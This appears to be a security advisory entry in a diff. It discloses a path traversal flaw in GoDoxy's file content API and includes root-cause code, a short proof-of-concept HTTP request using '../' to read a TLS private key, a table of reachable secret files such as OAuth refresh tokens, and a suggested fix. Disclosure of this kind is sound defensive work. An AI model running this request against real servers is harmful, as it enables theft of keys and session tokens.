+ "details": "## Summary\n\nThe file content API endpoint at `/api/v1/file/content` is vulnerable to path traversal. The `filename` query parameter is passed directly to `path.Join(common.ConfigBasePath, filename)` where `ConfigBasePath = \"config\"` (a relative path). No sanitization or validation is applied beyond checking that the field is non-empty (`binding:\"required\"`).\n\nAn authenticated attacker can use `../` sequences to read or write files outside the intended `config/` directory, including TLS private keys, OAuth refresh tokens, and any file accessible to the container's UID.\n\n## Root Cause\n\n**File:** `internal/api/v1/file/get.go`, lines 68-73:\n\n```go\nfunc (t FileType) GetPath(filename string) string {\n if t == FileTypeMiddleware {\n return path.Join(common.MiddlewareComposeBasePath, filename)\n }\n return path.Join(common.ConfigBasePath, filename)\n}\n```\n\n- `common.ConfigBasePath = \"config\"` — relative path, not absolute\n- `path.Join(\"config\", \"../certs/key.pem\")` normalizes to `\"certs/key.pem\"` — escaping `config/`\n- No call to `strings.HasPrefix`, `filepath.Rel`, or any containment check exists\n- The `format:\"filename\"` struct tag is an OpenAPI/Swagger annotation only, not enforced by the validator\n\n## Proof of Concept\n\n### Environment\n\n- GoDoxy v0.27.4 (`ghcr.io/yusing/godoxy:latest`)\n- Authentication enabled with default credentials (`admin`/`password`)\n\n### Steps to Reproduce\n\n**Step 1 — Authenticate:**\n\n**Step 2 — Read file outside config/ via path traversal:**\n\n```http\nGET /api/v1/file/content?type=config&filename=../certs/secret-agent-key.pem HTTP/1.1\nHost: localhost:8888\nCookie: godoxy_token=<JWT>\n```\n\n### HTTP Response\n\n```\nHTTP/1.1 200 OK\nCache-Control: no-cache, no-store, must-revalidate\nContent-Length: 43\nContent-Type: application/godoxy+yaml\nExpires: 0\nPragma: no-cache\n\nTHIS_IS_A_SECRET_PRIVATE_KEY_FOR_AGENT_TLS\n```\n<img width=\"1489\" height=\"286\" alt=\"image\" src=\"https://github.com/user-attachments/assets/05f3464f-20ba-4913-830d-9fcc2fa1a2e3\" />\n\n## Impact\n\n### Files accessible via this vulnerability\n\n| Path (relative to `config/`) | Contents | Risk |\n|-------------------------------|----------|------|\n| `../certs/agents/{host}.zip` | CA cert + server cert + **TLS private key** | Impersonate GoDoxy server to remote agents |\n| `../data/oauth_refresh_tokens.json` | OIDC refresh tokens for all active sessions | Account takeover via token reuse |\n| `../../etc/ssl/certs/ca-certificates.crt` | System CA certificates | Information disclosure |\n| Any file readable by UID 1000 | Depends on mounted volumes | Variable |\n\nThe `PUT /api/v1/file/content` endpoint is also affected. While the content must pass YAML schema validation (config or provider format), an attacker can write valid provider YAML files outside `config/`, potentially injecting malicious route definitions.\n\n\n## Suggested Remediation\n\nValidate that the resolved path remains within the base directory:\n\n```go\nfunc (t FileType) GetPath(filename string) (string, error) {\n var base string\n if t == FileTypeMiddleware {\n base = common.MiddlewareComposeBasePath\n } else {\n base = common.ConfigBasePath\n }\n\n absBase, _ := filepath.Abs(base)\n resolved, _ := filepath.Abs(filepath.Join(base, filename))\n\n if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {\n return \"\", fmt.Errorf(\"path traversal detected: %s\", filename)\n }\n\n return resolved, nil\n}\n```",
0 commit comments